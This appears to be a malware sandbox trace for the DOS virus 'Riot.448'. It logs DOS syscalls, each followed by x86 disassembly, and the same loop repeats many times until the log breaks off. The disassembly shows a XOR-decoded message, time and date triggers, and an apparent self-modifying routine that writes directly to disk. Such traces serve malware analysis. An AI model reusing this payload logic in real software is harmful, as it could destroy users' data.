Sample viewer

vx.netlux.org/Virus.DOS.Riot.448

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:59:10.649316852Z 26 PC: 12c1d | Set disk transfer address
2018-12-17T22:59:10.650588431Z 53 PC: 12c23 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:59:10.653275952Z 53 PC: 12c30 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:59:10.655102404Z 44 PC: 12c3b | Get time 0x12c3b: cmp dl, 0xd
0x12c3e: jg 0x12c44
0x12c40: mov al, 0x82
0x12c42: out 0x21, al
0x12c44: mov ah, 0x2c
0x12c46: int 0x21
0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
2018-12-17T22:59:10.658058801Z 44 PC: 12c48 | Get time 0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
0x12c6b: nop
0x12c6c: and byte ptr [bp + si + 0x75], al
0x12c6f: jb 0x12cdf
0x12c71: inc bx
0x12c72: jns 0x12cd7
0x12c74: insb byte ptr es:[di], dx
2018-12-17T22:59:10.661380564Z 78 PC: 12cc0 | Find first file
2018-12-17T22:59:10.668171828Z 59 PC: 12d28 | Change current directory
2018-12-17T22:59:10.673532934Z 42 PC: 12d30 | Get date 0x12d30: cmp dh, 0x11
0x12d33: jl 0x12d54
0x12d35: cmp dl, 8
0x12d38: jl 0x12d54
0x12d3a: mov ah, 0x19
0x12d3c: int 0x21
0x12d3e: mov cx, 0x25
0x12d41: mov dx, 0
0x12d44: lea bx, word ptr [bp + 0x16c]
0x12d48: push ds
0x12d49: pop es
0x12d4a: mov byte ptr [bp + 0x250], 0x26
0x12d4f: int 0x19
0x12d51: add sp, 2
0x12d54: mov ah, 0x1a
0x12d56: mov dx, 0x80
0x12d59: int 0x21
0x12d5b: call 0x12d5e
0x12d5e: call 0x12d61
0x12d61: call 0x12d64
2018-12-17T22:59:10.676687342Z 26 PC: 12d5b | Set disk transfer address
2018-12-17T22:59:10.678658437Z 9 PC: 12d7b | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:59:10.691794174Z 26 PC: 12c1d | Set disk transfer address
2018-12-17T22:59:10.693534085Z 53 PC: 12c23 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:59:10.69543088Z 53 PC: 12c30 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:59:10.697160651Z 44 PC: 12c3b | Get time 0x12c3b: cmp dl, 0xd
0x12c3e: jg 0x12c44
0x12c40: mov al, 0x82
0x12c42: out 0x21, al
0x12c44: mov ah, 0x2c
0x12c46: int 0x21
0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
2018-12-17T22:59:10.699798087Z 44 PC: 12c48 | Get time 0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
0x12c6b: nop
0x12c6c: and byte ptr [bp + si + 0x75], al
0x12c6f: jb 0x12cdf
0x12c71: inc bx
0x12c72: jns 0x12cd7
0x12c74: insb byte ptr es:[di], dx
2018-12-17T22:59:10.703092939Z 78 PC: 12cc0 | Find first file
2018-12-17T22:59:10.709587275Z 59 PC: 12d28 | Change current directory
2018-12-17T22:59:10.714963009Z 42 PC: 12d30 | Get date 0x12d30: cmp dh, 0x11
0x12d33: jl 0x12d54
0x12d35: cmp dl, 8
0x12d38: jl 0x12d54
0x12d3a: mov ah, 0x19
0x12d3c: int 0x21
0x12d3e: mov cx, 0x25
0x12d41: mov dx, 0
0x12d44: lea bx, word ptr [bp + 0x16c]
0x12d48: push ds
0x12d49: pop es
0x12d4a: mov byte ptr [bp + 0x250], 0x26
0x12d4f: int 0x19
0x12d51: add sp, 2
0x12d54: mov ah, 0x1a
0x12d56: mov dx, 0x80
0x12d59: int 0x21
0x12d5b: call 0x12d5e
0x12d5e: call 0x12d61
0x12d61: call 0x12d64
2018-12-17T22:59:10.718215682Z 26 PC: 12d5b | Set disk transfer address
2018-12-17T22:59:10.719525924Z 9 PC: 12d7b | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:59:10.73332559Z 26 PC: 12c1d | Set disk transfer address
2018-12-17T22:59:10.73581595Z 53 PC: 12c23 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:59:10.737515434Z 53 PC: 12c30 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:59:10.739122465Z 44 PC: 12c3b | Get time 0x12c3b: cmp dl, 0xd
0x12c3e: jg 0x12c44
0x12c40: mov al, 0x82
0x12c42: out 0x21, al
0x12c44: mov ah, 0x2c
0x12c46: int 0x21
0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
2018-12-17T22:59:10.742623014Z 44 PC: 12c48 | Get time 0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
0x12c6b: nop
0x12c6c: and byte ptr [bp + si + 0x75], al
0x12c6f: jb 0x12cdf
0x12c71: inc bx
0x12c72: jns 0x12cd7
0x12c74: insb byte ptr es:[di], dx
2018-12-17T22:59:10.74506835Z 78 PC: 12cc0 | Find first file
2018-12-17T22:59:10.751628008Z 59 PC: 12d28 | Change current directory
2018-12-17T22:59:10.75776367Z 42 PC: 12d30 | Get date 0x12d30: cmp dh, 0x11
0x12d33: jl 0x12d54
0x12d35: cmp dl, 8
0x12d38: jl 0x12d54
0x12d3a: mov ah, 0x19
0x12d3c: int 0x21
0x12d3e: mov cx, 0x25
0x12d41: mov dx, 0
0x12d44: lea bx, word ptr [bp + 0x16c]
0x12d48: push ds
0x12d49: pop es
0x12d4a: mov byte ptr [bp + 0x250], 0x26
0x12d4f: int 0x19
0x12d51: add sp, 2
0x12d54: mov ah, 0x1a
0x12d56: mov dx, 0x80
0x12d59: int 0x21
0x12d5b: call 0x12d5e
0x12d5e: call 0x12d61
0x12d61: call 0x12d64
2018-12-17T22:59:10.760216149Z 26 PC: 12d5b | Set disk transfer address
2018-12-17T22:59:10.76149377Z 9 PC: 12d7b | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:59:10.774506847Z 26 PC: 12c1d | Set disk transfer address
2018-12-17T22:59:10.776209878Z 53 PC: 12c23 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:59:10.777553504Z 53 PC: 12c30 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:59:10.779300857Z 44 PC: 12c3b | Get time 0x12c3b: cmp dl, 0xd
0x12c3e: jg 0x12c44
0x12c40: mov al, 0x82
0x12c42: out 0x21, al
0x12c44: mov ah, 0x2c
0x12c46: int 0x21
0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
2018-12-17T22:59:10.783136045Z 44 PC: 12c48 | Get time 0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
0x12c6b: nop
0x12c6c: and byte ptr [bp + si + 0x75], al
0x12c6f: jb 0x12cdf
0x12c71: inc bx
0x12c72: jns 0x12cd7
0x12c74: insb byte ptr es:[di], dx
2018-12-17T22:59:10.785549751Z 78 PC: 12cc0 | Find first file
2018-12-17T22:59:10.792292585Z 59 PC: 12d28 | Change current directory
2018-12-17T22:59:10.79850496Z 42 PC: 12d30 | Get date 0x12d30: cmp dh, 0x11
0x12d33: jl 0x12d54
0x12d35: cmp dl, 8
0x12d38: jl 0x12d54
0x12d3a: mov ah, 0x19
0x12d3c: int 0x21
0x12d3e: mov cx, 0x25
0x12d41: mov dx, 0
0x12d44: lea bx, word ptr [bp + 0x16c]
0x12d48: push ds
0x12d49: pop es
0x12d4a: mov byte ptr [bp + 0x250], 0x26
0x12d4f: int 0x19
0x12d51: add sp, 2
0x12d54: mov ah, 0x1a
0x12d56: mov dx, 0x80
0x12d59: int 0x21
0x12d5b: call 0x12d5e
0x12d5e: call 0x12d61
0x12d61: call 0x12d64
2018-12-17T22:59:10.801189586Z 26 PC: 12d5b | Set disk transfer address
2018-12-17T22:59:10.80311786Z 9 PC: 12d7b | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:59:10.816580051Z 26 PC: 12c1d | Set disk transfer address
2018-12-17T22:59:10.817981104Z 53 PC: 12c23 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:59:10.819429266Z 53 PC: 12c30 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:59:10.8214212Z 44 PC: 12c3b | Get time 0x12c3b: cmp dl, 0xd
0x12c3e: jg 0x12c44
0x12c40: mov al, 0x82
0x12c42: out 0x21, al
0x12c44: mov ah, 0x2c
0x12c46: int 0x21
0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
2018-12-17T22:59:10.824516096Z 44 PC: 12c48 | Get time 0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
0x12c6b: nop
0x12c6c: and byte ptr [bp + si + 0x75], al
0x12c6f: jb 0x12cdf
0x12c71: inc bx
0x12c72: jns 0x12cd7
0x12c74: insb byte ptr es:[di], dx
2018-12-17T22:59:10.827174793Z 78 PC: 12cc0 | Find first file
2018-12-17T22:59:10.840990709Z 59 PC: 12d28 | Change current directory
2018-12-17T22:59:10.84720546Z 42 PC: 12d30 | Get date 0x12d30: cmp dh, 0x11
0x12d33: jl 0x12d54
0x12d35: cmp dl, 8
0x12d38: jl 0x12d54
0x12d3a: mov ah, 0x19
0x12d3c: int 0x21
0x12d3e: mov cx, 0x25
0x12d41: mov dx, 0
0x12d44: lea bx, word ptr [bp + 0x16c]
0x12d48: push ds
0x12d49: pop es
0x12d4a: mov byte ptr [bp + 0x250], 0x26
0x12d4f: int 0x19
0x12d51: add sp, 2
0x12d54: mov ah, 0x1a
0x12d56: mov dx, 0x80
0x12d59: int 0x21
0x12d5b: call 0x12d5e
0x12d5e: call 0x12d61
0x12d61: call 0x12d64
2018-12-17T22:59:10.849709385Z 26 PC: 12d5b | Set disk transfer address
2018-12-17T22:59:10.851323819Z 9 PC: 12d7b | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:59:10.865102305Z 26 PC: 12c1d | Set disk transfer address
2018-12-17T22:59:10.866911576Z 53 PC: 12c23 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:59:10.868774858Z 53 PC: 12c30 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:59:10.871657876Z 44 PC: 12c3b | Get time 0x12c3b: cmp dl, 0xd
0x12c3e: jg 0x12c44
0x12c40: mov al, 0x82
0x12c42: out 0x21, al
0x12c44: mov ah, 0x2c
0x12c46: int 0x21
0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
2018-12-17T22:59:10.874473468Z 44 PC: 12c48 | Get time 0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
0x12c6b: nop
0x12c6c: and byte ptr [bp + si + 0x75], al
0x12c6f: jb 0x12cdf
0x12c71: inc bx
0x12c72: jns 0x12cd7
0x12c74: insb byte ptr es:[di], dx
2018-12-17T22:59:10.877477684Z 78 PC: 12cc0 | Find first file
2018-12-17T22:59:10.885083378Z 59 PC: 12d28 | Change current directory
2018-12-17T22:59:10.890148979Z 42 PC: 12d30 | Get date 0x12d30: cmp dh, 0x11
0x12d33: jl 0x12d54
0x12d35: cmp dl, 8
0x12d38: jl 0x12d54
0x12d3a: mov ah, 0x19
0x12d3c: int 0x21
0x12d3e: mov cx, 0x25
0x12d41: mov dx, 0
0x12d44: lea bx, word ptr [bp + 0x16c]
0x12d48: push ds
0x12d49: pop es
0x12d4a: mov byte ptr [bp + 0x250], 0x26
0x12d4f: int 0x19
0x12d51: add sp, 2
0x12d54: mov ah, 0x1a
0x12d56: mov dx, 0x80
0x12d59: int 0x21
0x12d5b: call 0x12d5e
0x12d5e: call 0x12d61
0x12d61: call 0x12d64
2018-12-17T22:59:10.89285784Z 26 PC: 12d5b | Set disk transfer address
2018-12-17T22:59:10.895109292Z 9 PC: 12d7b | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:59:10.908219461Z 26 PC: 12c1d | Set disk transfer address
2018-12-17T22:59:10.909970813Z 53 PC: 12c23 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:59:10.91293307Z 53 PC: 12c30 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:59:10.9149606Z 44 PC: 12c3b | Get time 0x12c3b: cmp dl, 0xd
0x12c3e: jg 0x12c44
0x12c40: mov al, 0x82
0x12c42: out 0x21, al
0x12c44: mov ah, 0x2c
0x12c46: int 0x21
0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
2018-12-17T22:59:10.917576848Z 44 PC: 12c48 | Get time 0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
0x12c6b: nop
0x12c6c: and byte ptr [bp + si + 0x75], al
0x12c6f: jb 0x12cdf
0x12c71: inc bx
0x12c72: jns 0x12cd7
0x12c74: insb byte ptr es:[di], dx
2018-12-17T22:59:10.920156516Z 78 PC: 12cc0 | Find first file
2018-12-17T22:59:10.927789892Z 59 PC: 12d28 | Change current directory
2018-12-17T22:59:10.932722513Z 42 PC: 12d30 | Get date 0x12d30: cmp dh, 0x11
0x12d33: jl 0x12d54
0x12d35: cmp dl, 8
0x12d38: jl 0x12d54
0x12d3a: mov ah, 0x19
0x12d3c: int 0x21
0x12d3e: mov cx, 0x25
0x12d41: mov dx, 0
0x12d44: lea bx, word ptr [bp + 0x16c]
0x12d48: push ds
0x12d49: pop es
0x12d4a: mov byte ptr [bp + 0x250], 0x26
0x12d4f: int 0x19
0x12d51: add sp, 2
0x12d54: mov ah, 0x1a
0x12d56: mov dx, 0x80
0x12d59: int 0x21
0x12d5b: call 0x12d5e
0x12d5e: call 0x12d61
0x12d61: call 0x12d64
2018-12-17T22:59:10.935218544Z 26 PC: 12d5b | Set disk transfer address
2018-12-17T22:59:10.937689288Z 9 PC: 12d7b | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:59:10.950662149Z 26 PC: 12c1d | Set disk transfer address
2018-12-17T22:59:10.952191584Z 53 PC: 12c23 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:59:10.954823941Z 53 PC: 12c30 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:59:10.963691757Z 44 PC: 12c3b | Get time 0x12c3b: cmp dl, 0xd
0x12c3e: jg 0x12c44
0x12c40: mov al, 0x82
0x12c42: out 0x21, al
0x12c44: mov ah, 0x2c
0x12c46: int 0x21
0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
2018-12-17T22:59:10.966530453Z 44 PC: 12c48 | Get time 0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
0x12c6b: nop
0x12c6c: and byte ptr [bp + si + 0x75], al
0x12c6f: jb 0x12cdf
0x12c71: inc bx
0x12c72: jns 0x12cd7
0x12c74: insb byte ptr es:[di], dx
2018-12-17T22:59:10.9699874Z 78 PC: 12cc0 | Find first file
2018-12-17T22:59:10.977070452Z 59 PC: 12d28 | Change current directory
2018-12-17T22:59:10.982115974Z 42 PC: 12d30 | Get date 0x12d30: cmp dh, 0x11
0x12d33: jl 0x12d54
0x12d35: cmp dl, 8
0x12d38: jl 0x12d54
0x12d3a: mov ah, 0x19
0x12d3c: int 0x21
0x12d3e: mov cx, 0x25
0x12d41: mov dx, 0
0x12d44: lea bx, word ptr [bp + 0x16c]
0x12d48: push ds
0x12d49: pop es
0x12d4a: mov byte ptr [bp + 0x250], 0x26
0x12d4f: int 0x19
0x12d51: add sp, 2
0x12d54: mov ah, 0x1a
0x12d56: mov dx, 0x80
0x12d59: int 0x21
0x12d5b: call 0x12d5e
0x12d5e: call 0x12d61
0x12d61: call 0x12d64
2018-12-17T22:59:10.984980599Z 26 PC: 12d5b | Set disk transfer address
2018-12-17T22:59:10.987253921Z 9 PC: 12d7b | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:59:10.999677791Z 26 PC: 12c1d | Set disk transfer address
2018-12-17T22:59:11.000706374Z 53 PC: 12c23 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:59:11.00255074Z 53 PC: 12c30 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:59:11.003623106Z 44 PC: 12c3b | Get time 0x12c3b: cmp dl, 0xd
0x12c3e: jg 0x12c44
0x12c40: mov al, 0x82
0x12c42: out 0x21, al
0x12c44: mov ah, 0x2c
0x12c46: int 0x21
0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
2018-12-17T22:59:11.005583601Z 44 PC: 12c48 | Get time 0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
0x12c6b: nop
0x12c6c: and byte ptr [bp + si + 0x75], al
0x12c6f: jb 0x12cdf
0x12c71: inc bx
0x12c72: jns 0x12cd7
0x12c74: insb byte ptr es:[di], dx
2018-12-17T22:59:11.00879201Z 78 PC: 12cc0 | Find first file
2018-12-17T22:59:11.015190436Z 59 PC: 12d28 | Change current directory
2018-12-17T22:59:11.020250616Z 42 PC: 12d30 | Get date 0x12d30: cmp dh, 0x11
0x12d33: jl 0x12d54
0x12d35: cmp dl, 8
0x12d38: jl 0x12d54
0x12d3a: mov ah, 0x19
0x12d3c: int 0x21
0x12d3e: mov cx, 0x25
0x12d41: mov dx, 0
0x12d44: lea bx, word ptr [bp + 0x16c]
0x12d48: push ds
0x12d49: pop es
0x12d4a: mov byte ptr [bp + 0x250], 0x26
0x12d4f: int 0x19
0x12d51: add sp, 2
0x12d54: mov ah, 0x1a
0x12d56: mov dx, 0x80
0x12d59: int 0x21
0x12d5b: call 0x12d5e
0x12d5e: call 0x12d61
0x12d61: call 0x12d64
2018-12-17T22:59:11.023873755Z 26 PC: 12d5b | Set disk transfer address
2018-12-17T22:59:11.025331775Z 9 PC: 12d7b | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:59:11.038036273Z 26 PC: 12c1d | Set disk transfer address
2018-12-17T22:59:11.040800638Z 53 PC: 12c23 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:59:11.042444277Z 53 PC: 12c30 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:59:11.044016853Z 44 PC: 12c3b | Get time 0x12c3b: cmp dl, 0xd
0x12c3e: jg 0x12c44
0x12c40: mov al, 0x82
0x12c42: out 0x21, al
0x12c44: mov ah, 0x2c
0x12c46: int 0x21
0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
2018-12-17T22:59:11.046645904Z 44 PC: 12c48 | Get time 0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
0x12c6b: nop
0x12c6c: and byte ptr [bp + si + 0x75], al
0x12c6f: jb 0x12cdf
0x12c71: inc bx
0x12c72: jns 0x12cd7
0x12c74: insb byte ptr es:[di], dx
2018-12-17T22:59:11.050326371Z 78 PC: 12cc0 | Find first file
2018-12-17T22:59:11.056550399Z 59 PC: 12d28 | Change current directory
2018-12-17T22:59:11.061434388Z 42 PC: 12d30 | Get date 0x12d30: cmp dh, 0x11
0x12d33: jl 0x12d54
0x12d35: cmp dl, 8
0x12d38: jl 0x12d54
0x12d3a: mov ah, 0x19
0x12d3c: int 0x21
0x12d3e: mov cx, 0x25
0x12d41: mov dx, 0
0x12d44: lea bx, word ptr [bp + 0x16c]
0x12d48: push ds
0x12d49: pop es
0x12d4a: mov byte ptr [bp + 0x250], 0x26
0x12d4f: int 0x19
0x12d51: add sp, 2
0x12d54: mov ah, 0x1a
0x12d56: mov dx, 0x80
0x12d59: int 0x21
0x12d5b: call 0x12d5e
0x12d5e: call 0x12d61
0x12d61: call 0x12d64
2018-12-17T22:59:11.06568121Z 26 PC: 12d5b | Set disk transfer address
2018-12-17T22:59:11.066945216Z 9 PC: 12d7b | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:59:11.079553051Z 26 PC: 12c1d | Set disk transfer address
2018-12-17T22:59:11.084297628Z 53 PC: 12c23 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:59:11.085869251Z 53 PC: 12c30 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:59:11.08743817Z 44 PC: 12c3b | Get time 0x12c3b: cmp dl, 0xd
0x12c3e: jg 0x12c44
0x12c40: mov al, 0x82
0x12c42: out 0x21, al
0x12c44: mov ah, 0x2c
0x12c46: int 0x21
0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
2018-12-17T22:59:11.090659725Z 44 PC: 12c48 | Get time 0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
